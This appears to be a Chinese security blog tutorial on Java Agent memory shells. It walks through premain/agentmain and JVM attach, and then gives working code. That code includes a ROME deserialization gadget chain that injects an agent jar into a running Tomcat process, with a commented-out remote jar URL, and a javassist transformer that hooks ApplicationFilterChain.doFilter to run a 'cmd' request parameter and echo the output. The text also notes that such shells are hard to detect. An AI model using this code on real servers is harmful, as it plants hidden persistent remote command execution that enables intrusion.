Java Agent 内存马

Java Agent 内存马

java agen简介

Java Agent 简介

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去

说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

总之,java agent有两种方式进行加载:premain , agentmain

premain--启动时加载

根据官方文档必须实现premain方法,

我们可在命令行利用 -javaagent 来实现启动时加载 premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法 接下来我们来看一下 Demo 首先创建一个类,来实现 premain 的这个方法

弄个DemoTest类

import java.lang.instrument.Instrumentation;

public class DemoTest {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);
        for(int i=0;i<5;i++){
            System.out.println("premain method is invoked!");
        }
    }
}

创建manifest,命名为agent.mf

Manifest-Version: 1.0
Premain-Class: DemoTest

随后,使用javac 编译demotest

javac DemoTest.java

image-20230220160541332

jar打包,这里使用的是通过mainfest指定preclass的

jar cvfm agent.jar agent.mf DemoTest.class

image-20230220160656523

为了测试,我们同理弄一个Hello类如下

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello,Java");
    }
}

Hello.mf

Manifest-Version: 1.0
Main-Class: Hello

同样的利用javac编译后打包成hello.jar

jar cvfm hello.jar Hello.mf Hello.class

image-20230220161357349

重点来了,-javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数

java -javaagent:agent.jar[=options] -jar hello.jar

如果遇到一些报错,可以直接用压缩包软件打开jar修改里面的INF,俺也不造为啥会出这个bug

俺知道了:Creating a JAR File (The Java™ Tutorials > Deployment > Packaging Programs in JAR Files) (oracle.com)

image-20230220172603005

就是最后要加个换行!!!

image-20230220173125596

Instrumentation -- 动态加载字节码

观察上面的demo,可以知道当我们知道premain的时候,agent.jar就会在程序启动前加载,而我们的=option会成为agentArgs

image-20230220185322235

注意到Instrumentation

Instrumentation Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果 在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据 Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

在这个 java.lang.instrument.Instrumentation; 包里,

image-20230220190017434

这里有很多方法,我们挑几个重要的讲讲:

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer 方法配置之后,后续的类加载都会被 Transformer 拦截。对于已经加载过的类,可以执行 retransformClasses 来重新触发这个 Transformer 的拦截。类加载的字节码被修改后,除非再次被 retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是 1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}
addTransformer

这个方法前面介绍过了,我们仔细观察代码

image-20230220192527696

需要ClassFileTransformer,观察ClassFileTransformer

image-20230220192847775

可以看到需要实现transform

看看别的师傅是如何利用的

image-20230220193052955

在自己写的ClassFileTransformer里面的transform函数自定义恶意代码,就可以被调用

getAllLoadedClasses

getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

agentmain -- 启动后加载

前面介绍了agentmain可以实现启动后加载某某类,实际上是:在获取到了已经运行了的java进程后可以直接attach到那个进程上然后对其进行修改

要求和之前类似,我们需要满足以下条件

  • 必须要实现 agentmain 方法
  • Jar 文件清单中必须要含有 Premain-Class 属性

而agentmain的语法是

public static void agentmain (String agentArgs, Instrumentation inst)
public static void agentmain (String agentArgs)

此外,值得注意的是它不是通过命令行参数来加载的,需要用到VirtualMachineDescriptor VirtualMachine

下面让我们了解一下VirtualMachineDescriptor VirtualMachine

image-20230220202740099

VirtualMachine

在这:com.sun.tools.attach

是jdk自带的

image-20230220200746223

VirtualMachine 可以来实现获取系统信息,内存 dump、现成 dump、类信息统计(例如 JVM 加载的类)。

里面配备有几个方法 LoadAgent,Attach 和 Detach 。

下面来看看这几个方法的作用 Attach :该类允许我们通过给 attach 方法传入一个 jvm 的 pid (进程 id),远程连接到 jvm 上

VirtualMachine vm = VirtualMachine.attach(v.id());

loadAgent:向 jvm 注册一个代理程序 agent,在该 agent 的代理程序中会得到一个 Instrumentation 实例,该实例可以 在 class 加载前改变 class 的字节码,也可以在 class 加载后重新加载。在调用 Instrumentation 实例的方法时,这些方法会使用 ClassFileTransformer 接口中提供的方法进行处理。

Detach:从 JVM 上面解除一个代理 (agent)

image-20230220203122416

VirtualMachineDescriptor

VirtualMachineDescriptor 是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。

所以最后我们的注入流程大致如下: 这里借用奶思师傅的图片 通过 VirtualMachine 类的 attach (pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent (agentJarPath) 来将 agent 的 jar 包注入到对应的进程,然后对应的进程会调用 agentmain 方法。

image-20230220203107732

下面编写测试demo

AgentMainDemo

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class AgentMainDemo {
    public static void main(String[] args) throws Exception{
        String path = "xxxx\\AgentMain.jar";
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor v:list){
            System.out.println(v.displayName());
            if (v.displayName().contains("AgentMainDemo")){
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                VirtualMachine vm = VirtualMachine.attach(v.id());
                // 将我们的 agent.jar 发送给虚拟机 
                vm.loadAgent(path);
                vm.detach();
            }
        }
    }
}

image-20230220205243607

不过由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

public class AgentMainDemo {
    public static void main(String[] args) {
        try{
            java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
            System.out.println(toolsPath.toURI().toURL());
            java.net.URL url = toolsPath.toURI().toURL();
            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
            java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

            System.out.println("Running JVM Start..");
            for(int i=0;i<list.size();i++){
                Object o = list.get(i);
                java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                String name = (String) displayName.invoke(o,null);
                System.out.println(name);
                if (name.contains("AgentMainDemo")){
                    java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                    java.lang.String id = (java.lang.String) getId.invoke(o,null);
                    System.out.println("id >>> " + id);
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                    java.lang.Object vm = attach.invoke(o,new Object[]{id});
                    java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                    java.lang.String path = "C:\\Users\\13728\\IdeaProjects\\Desctf_ljctr\\src\\main\\java\\AgentMain.jar";
                    loadAgent.invoke(vm,new Object[]{path});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                    detach.invoke(vm,null);
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

image-20230220205308937

实战

由于正常情况下内存马都是在web应用程序运行后加载的,所以premain的方法用不上了,咱试试agentmain

其实在上文中如何动态修改对应类的字节码已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求

  • 该方法一定会被执行

  • 不会影响正常的业务逻辑

环节搭建 -- rome反序列化注入内存马

弄个控制器

package com.example.agent;

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping({"/"})
    public String index() {
        return "welcome join us.\n it is very easy!";
    }

    @ResponseBody
    @RequestMapping({"/ctf"})
    public String readObject(@RequestParam(name = "data", required = true) String data) throws Exception {
        byte[] bytes = base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "oops!";
    }

    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }
}

上面提供了反序列化接口

我们添加一下rome依赖,尝试通过rome链注入agent内存马

(环境搭建详见以前rome的分析,大概就是下个jar包还有pom.xml)

我们先用之前的agent.jar试试:

首先,我们魔改rome链的话,需要重新把templateImp那个地方进行修改。

于是写个Evil.java

package com.example.demo.menshellattack;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil  extends AbstractTranslet {
    static {
        try{
            java.lang.String path = "D:\\test\\agenttest\\agent\\AgentMain.jar";
            //java.lang.String path = "http://120.79.0.164:1236/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";

            java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
            java.net.URL url = toolsPath.toURI().toURL();
            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
            java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

            System.out.println("Running JVM list ...");
            for(int i=0;i<list.size();i++){
                Object o = list.get(i);
                java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                java.lang.String name = (java.lang.String) displayName.invoke(o,null);
                System.out.println(name);
                // 列出当前有哪些 JVM 进程在运行
                // 这里的 if 条件根据实际情况进行更改
                //org.apache.catalina.startup.Bootstrap 是 tomcat
                if (name.contains("com.example.demo.Demo2Application")){
                    // 获取对应进程的 pid 号
                    java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                    java.lang.String id = (java.lang.String) getId.invoke(o,null);
                    System.out.println("id >>> " + id);
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                    java.lang.Object vm = attach.invoke(o,new Object[]{id});
                    java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                    loadAgent.invoke(vm,new Object[]{path});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                    detach.invoke(vm,null);
                    System.out.println("Agent.jar Inject Success !!");
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

这里使用rome链进行注入,注意我里面注释掉的地方,理解一下是怎么注入内存马的

package com.example.demo.menshellattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

import sun.reflect.*;

import javax.xml.transform.Templates;

public class romeDemo {

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass(Evil.class.getName());
//            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
//            ctClass.setSuperclass(superClass);
//            CtConstructor constructor = ctClass.makeClassInitializer();
//            constructor.setBody(" try {\n" +
//                    " Runtime.getRuntime().exec(\"" + cmd +
//                    "\");\n" +
//                    " } catch (Exception ignored) {\n" +
//                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {

        //TemplatesImpl templates = new TemplatesImpl();

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(Evil.class.getName());
        byte[] classBytes = ctClazz.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        setValue(templates,"_name", "aaa");
//
//        byte[] code = getTemplatesImpl("calc");
//        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", targetByteCodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
//        templates.newTransformer();

//        TemplatesImpl
//

        ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
//        toStringBean.toString();

        EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
//        equalsBean.hashCode();

        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringBean, "_obj", templates);
        //serialize(map);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//        unserialize("ser.bin");

    }
}

大概就是另写一个evil类后,直接通过CtClass ctClazz = pool.get(Evil.class.getName());加载它,那就省掉getTemplatesImpl那坨反射自定义的代码了,然后为了保证修改后的代码的正常运行,做如下修改:

        //TemplatesImpl templates = new TemplatesImpl();

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClazz = pool.get(Evil.class.getName());
        byte[] classBytes = ctClazz.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        setValue(templates,"_name", "aaa");
//
//        byte[] code = getTemplatesImpl("calc");
//        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", targetByteCodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

注入一下,注意data要url编码

image-20230220231326509

那么如下就是成功了

image-20230220231349600

恶意agent.jar构建

接下来我们构建一个agent.jar内存马,实现输入参数然后回显rce效果

agent.jar构造

先用idea新建一个项目,选择maven,webapp, maven记得换源

首先新建src目录,写个agent,MyTest.java

import java.lang.instrument.Instrumentation;

public class MyTest {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        System.out.println("agentmain!");
        ins.addTransformer(new DefineTransformer(),true);
        // 获取所有已加载的类
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 对类进行重新定义
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}
import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
            pool.appendClassPath(classPath);
            try {
                System.out.println("className:"+className);
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "java.lang.String[] cmds = new java.lang.String[]{\"cmd\",\"/c\",cmd};\n"+
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                // 将 c 从 classpool 中删除以释放内存
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>untitled</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
            <maven.compiler.source>1.8</maven.compiler.source>
            <maven.compiler.target>1.8</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
<dependencies>
    <dependency>
        <groupId>javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.12.1.GA</version>
    </dependency>
</dependencies>
    <build>
        <plugins>
            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <descriptors>
                        <descriptor>src/main/resources/assembly.xml</descriptor>
                    </descriptors>
                    <archive>

                    </archive>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

然后新建src/main/resources/下面写assembly.xml

<assembly xmlns="http://maven.apache.org/ASSEMBLY/2.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/ASSEMBLY/2.0.0
                              http://maven.apache.org/xsd/assembly-2.0.0.xsd">

    <id>jar-with-dependencies</id>

    <!--指明打包方式-->
    <formats>
        <format>jar</format>
    </formats>

    <includeBaseDirectory>false</includeBaseDirectory>
    <dependencySets>
        <dependencySet>
            <outputDirectory>/</outputDirectory>
            <useProjectArtifact>true</useProjectArtifact>
            <unpack>true</unpack>
            <scope>runtime</scope>
            <!--这里以排除 storm 环境中已经提供的 storm-core 为例,演示排除 Jar 包-->
            <excludes>
                <exclude>org.apache.storm:storm-core</exclude>
            </excludes>
        </dependencySet>
    </dependencySets>
</assembly>

然后mvn cleanmvn assembly:assembly产生AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar,再修改里面的MF文件:

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: MyTest

如果mvn的java的版本不同的话,可以改这里

image-20230222201241390

最后一步,进入到jar包里面检查一下MF文件,把他改成下面这样(规定他的类)

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: MyTest

然后理论上就可以使用了,但是我报了这个错:

image-20230223144036720

很迷,经过调试,应该是在这里报错的

image-20230223145732993

loadAgent处报错,怀疑是这个jar包的构建存在一些细节没有做好,也有可能是类似于版本不匹配之类的问题

思考

agent在不考虑安全检测的情况下,也可以远程加载jar包,但是大多情况,我们需要将我们自己的 agent.jar 传到目标上,然后利用代码将 agent.jar 进行注入,注入之后我们就可以将 agent.jar 进行删除,agent 内存马相比 filter 这些内存马相对更难查杀一些,这就是agent 内存马相比 filter 内存马会多一步的原因,不过网上也有对应查杀 agent 内存马的文章

文章链接:https://mp.weixin.qq.com/s/Whta6akjaZamc3nOY1Tvxg

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇